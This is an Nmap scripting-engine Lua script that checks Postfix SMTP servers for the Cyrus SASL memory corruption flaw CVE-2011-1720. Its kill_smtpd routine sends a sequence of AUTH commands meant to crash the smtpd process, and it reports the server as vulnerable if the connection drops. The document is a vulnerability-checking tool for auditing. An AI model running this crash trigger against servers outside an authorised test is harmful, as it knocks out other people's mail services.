286 lines
7.5 KiB
Plaintext
286 lines
7.5 KiB
Plaintext
|
local shortport = require "shortport"
|
||
|
local smtp = require "smtp"
|
||
|
local stdnse = require "stdnse"
|
||
|
local string = require "string"
|
||
|
local stringaux = require "stringaux"
|
||
|
local table = require "table"
|
||
|
local vulns = require "vulns"
|
||
|
|
||
|
description = [[
|
||
|
Checks for a memory corruption in the Postfix SMTP server when it uses
|
||
|
Cyrus SASL library authentication mechanisms (CVE-2011-1720). This
|
||
|
vulnerability can allow denial of service and possibly remote code
|
||
|
execution.
|
||
|
|
||
|
Reference:
|
||
|
* http://www.postfix.org/CVE-2011-1720.html
|
||
|
]]
|
||
|
|
||
|
---
|
||
|
-- @usage
|
||
|
-- nmap --script=smtp-vuln-cve2011-1720 --script-args='smtp.domain=<domain>' -pT:25,465,587 <host>
|
||
|
--
|
||
|
-- @output
|
||
|
-- PORT STATE SERVICE
|
||
|
-- 25/tcp open smtp
|
||
|
-- | smtp-vuln-cve2011-1720:
|
||
|
-- | VULNERABLE:
|
||
|
-- | Postfix SMTP server Cyrus SASL Memory Corruption
|
||
|
-- | State: VULNERABLE
|
||
|
-- | IDs: CVE:CVE-2011-1720 BID:47778
|
||
|
-- | Description:
|
||
|
-- | The Postfix SMTP server is vulnerable to a memory corruption vulnerability
|
||
|
-- | when the Cyrus SASL library is used with authentication mechanisms other
|
||
|
-- | than PLAIN and LOGIN.
|
||
|
-- | Disclosure date: 2011-05-08
|
||
|
-- | Check results:
|
||
|
-- | AUTH tests: CRAM-MD5 NTLM
|
||
|
-- | Extra information:
|
||
|
-- | Available AUTH MECHANISMS: CRAM-MD5 DIGEST-MD5 NTLM PLAIN LOGIN
|
||
|
-- | References:
|
||
|
-- | http://www.postfix.org/CVE-2011-1720.html
|
||
|
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1720
|
||
|
-- |_ https://www.securityfocus.com/bid/47778
|
||
|
|
||
|
author = "Djalal Harouni"
|
||
|
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
|
||
|
categories = {"intrusive", "vuln"}
|
||
|
|
||
|
|
||
|
portrule = shortport.port_or_service({25, 465, 587},
|
||
|
{"smtp", "smtps", "submission"})
|
||
|
|
||
|
local AUTH_VULN = {
|
||
|
-- AUTH MECHANISM
|
||
|
-- killby: a table of mechanisms that can corrupt and
|
||
|
-- overwrite the AUTH MECHANISM data structure.
|
||
|
-- probe: max number of probes for each test
|
||
|
["CRAM-MD5"] = {
|
||
|
killby = {["DIGEST-MD5"] = {probe = 1}}
|
||
|
},
|
||
|
["DIGEST-MD5"] = {
|
||
|
killby = {}
|
||
|
},
|
||
|
["EXTERNAL"] = {
|
||
|
killby = {}
|
||
|
},
|
||
|
["GSSAPI"] = {
|
||
|
killby = {}
|
||
|
},
|
||
|
["KERBEROS_V4"] = {
|
||
|
killby = {}
|
||
|
},
|
||
|
["NTLM"] = {
|
||
|
killby = {["DIGEST-MD5"] = {probe = 2}}
|
||
|
},
|
||
|
["OTP"] = {
|
||
|
killby = {}
|
||
|
},
|
||
|
["PASSDSS-3DES-1"] = {
|
||
|
killby = {}
|
||
|
},
|
||
|
["SRP"] = {
|
||
|
killby = {}
|
||
|
},
|
||
|
}
|
||
|
|
||
|
-- parse and check the authentication mechanisms.
|
||
|
-- This function will save the vulnerable auth mechanisms in
|
||
|
-- the auth_mlist table, and returns all the available auth
|
||
|
-- mechanisms as a string.
|
||
|
local function chk_auth_mechanisms(ehlo_res, auth_mlist)
|
||
|
local mlist = smtp.get_auth_mech(ehlo_res)
|
||
|
|
||
|
if mlist then
|
||
|
for _, mech in ipairs(mlist) do
|
||
|
if AUTH_VULN[mech] then
|
||
|
auth_mlist[mech] = mech
|
||
|
end
|
||
|
end
|
||
|
return table.concat(mlist, " ")
|
||
|
end
|
||
|
return ""
|
||
|
end
|
||
|
|
||
|
-- Close any remaining connection
|
||
|
local function smtp_finish(socket, status, err)
|
||
|
if socket then
|
||
|
smtp.quit(socket)
|
||
|
end
|
||
|
return status, err
|
||
|
end
|
||
|
|
||
|
-- Tries to kill the smtpd server
|
||
|
-- Returns true, true if the smtpd was killed
|
||
|
local function kill_smtpd(socket, mech, mkill)
|
||
|
local killed, ret = false
|
||
|
local status, response = smtp.query(socket, "AUTH",
|
||
|
string.format("%s", mech))
|
||
|
if not status then
|
||
|
return status, response
|
||
|
end
|
||
|
|
||
|
status, ret = smtp.check_reply("AUTH", response)
|
||
|
if not status then
|
||
|
return smtp_finish(socket, status, ret)
|
||
|
end
|
||
|
|
||
|
-- abort authentication
|
||
|
smtp.query(socket, "*")
|
||
|
|
||
|
status, response = smtp.query(socket, "AUTH",
|
||
|
string.format("%s", mkill))
|
||
|
if status then
|
||
|
-- abort the last AUTH command.
|
||
|
status, response = smtp.query(socket, "*")
|
||
|
end
|
||
|
|
||
|
if not status then
|
||
|
if string.match(response, "connection closed") then
|
||
|
killed = true
|
||
|
else
|
||
|
return status, response
|
||
|
end
|
||
|
end
|
||
|
|
||
|
return true, killed
|
||
|
end
|
||
|
|
||
|
-- Checks if the SMTP server is vulnerable to CVE-2011-1720
|
||
|
-- Postfix Cyrus SASL authentication memory corruption
|
||
|
-- http://www.postfix.org/CVE-2011-1720.html
|
||
|
local function check_smtpd(smtp_opts)
|
||
|
local socket, ret = smtp.connect(smtp_opts.host,
|
||
|
smtp_opts.port,
|
||
|
{ssl = false,
|
||
|
recv_before = true,
|
||
|
lines = 1})
|
||
|
|
||
|
if not socket then
|
||
|
return socket, ret
|
||
|
end
|
||
|
|
||
|
local status, response = smtp.ehlo(socket, smtp_opts.domain)
|
||
|
if not status then
|
||
|
return status, response
|
||
|
end
|
||
|
|
||
|
local starttls = false
|
||
|
local auth_mech_list, auth_mech_str = {}, ""
|
||
|
|
||
|
-- parse server response
|
||
|
for _, line in pairs(stringaux.strsplit("\r?\n", response)) do
|
||
|
if not next(auth_mech_list) then
|
||
|
auth_mech_str = chk_auth_mechanisms(line, auth_mech_list)
|
||
|
end
|
||
|
|
||
|
if not starttls then
|
||
|
starttls = line:match("STARTTLS")
|
||
|
end
|
||
|
end
|
||
|
|
||
|
-- fallback to STARTTLS to get the auth mechanisms
|
||
|
if not next(auth_mech_list) and smtp_opts.port.number ~= 25 and
|
||
|
starttls then
|
||
|
|
||
|
status, response = smtp.starttls(socket)
|
||
|
if not status then
|
||
|
return status, response
|
||
|
end
|
||
|
|
||
|
status, response = smtp.ehlo(socket, smtp_opts.domain)
|
||
|
if not status then
|
||
|
return status, response
|
||
|
end
|
||
|
|
||
|
for _, line in pairs(stringaux.strsplit("\r?\n", response)) do
|
||
|
if not next(auth_mech_list) then
|
||
|
auth_mech_str = chk_auth_mechanisms(line, auth_mech_list)
|
||
|
end
|
||
|
end
|
||
|
end
|
||
|
|
||
|
local vuln = smtp_opts.vuln
|
||
|
vuln.check_results = {}
|
||
|
if (#auth_mech_str > 0) then
|
||
|
vuln.extra_info = {}
|
||
|
table.insert(vuln.extra_info,
|
||
|
string.format("Available AUTH MECHANISMS: %s", auth_mech_str))
|
||
|
|
||
|
-- maybe vulnerable
|
||
|
if next(auth_mech_list) then
|
||
|
local auth_tests = {}
|
||
|
|
||
|
for mech in pairs(auth_mech_list) do
|
||
|
for mkill in pairs(AUTH_VULN[mech].killby) do
|
||
|
|
||
|
if auth_mech_list[mkill] then
|
||
|
auth_tests[#auth_tests+1] = mech
|
||
|
|
||
|
local probe = AUTH_VULN[mech].killby[mkill].probe
|
||
|
|
||
|
for p = 1, probe do
|
||
|
status, ret = kill_smtpd(socket, mech, mkill)
|
||
|
if not status then
|
||
|
return smtp_finish(nil, status, ret)
|
||
|
end
|
||
|
|
||
|
if ret then
|
||
|
vuln.state = vulns.STATE.VULN
|
||
|
table.insert(vuln.check_results,
|
||
|
string.format("AUTH tests: %s", table.concat(auth_tests, " ")))
|
||
|
table.insert(vuln.check_results,
|
||
|
string.format("VULNERABLE (%s => %s)", mech, mkill))
|
||
|
return smtp_finish(nil, true)
|
||
|
end
|
||
|
|
||
|
end
|
||
|
|
||
|
end
|
||
|
|
||
|
end
|
||
|
end
|
||
|
|
||
|
table.insert(vuln.check_results, string.format("AUTH tests: %s",
|
||
|
table.concat(auth_tests, " ")))
|
||
|
end
|
||
|
else
|
||
|
stdnse.debug2("Authentication is not available")
|
||
|
table.insert(vuln.check_results, "Authentication is not available")
|
||
|
end
|
||
|
|
||
|
vuln.state = vulns.STATE.NOT_VULN
|
||
|
return smtp_finish(socket, true)
|
||
|
end
|
||
|
|
||
|
action = function(host, port)
|
||
|
local smtp_opts = {
|
||
|
host = host,
|
||
|
port = port,
|
||
|
domain = stdnse.get_script_args('smtp-vuln-cve2011-1720.domain') or
|
||
|
smtp.get_domain(host),
|
||
|
vuln = {
|
||
|
title = 'Postfix SMTP server Cyrus SASL Memory Corruption',
|
||
|
IDS = {CVE = 'CVE-2011-1720', BID = '47778'},
|
||
|
description = [[
|
||
|
The Postfix SMTP server is vulnerable to a memory corruption vulnerability
|
||
|
when the Cyrus SASL library is used with authentication mechanisms other
|
||
|
than PLAIN and LOGIN.]],
|
||
|
references = {
|
||
|
'http://www.postfix.org/CVE-2011-1720.html',
|
||
|
},
|
||
|
dates = {
|
||
|
disclosure = {year = '2011', month = '05', day = '08'},
|
||
|
},
|
||
|
},
|
||
|
}
|
||
|
|
||
|
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||
|
local status, err = check_smtpd(smtp_opts)
|
||
|
if not status then
|
||
|
stdnse.debug1("%s", err)
|
||
|
return nil
|
||
|
end
|
||
|
return report:make_output(smtp_opts.vuln)
|
||
|
end
|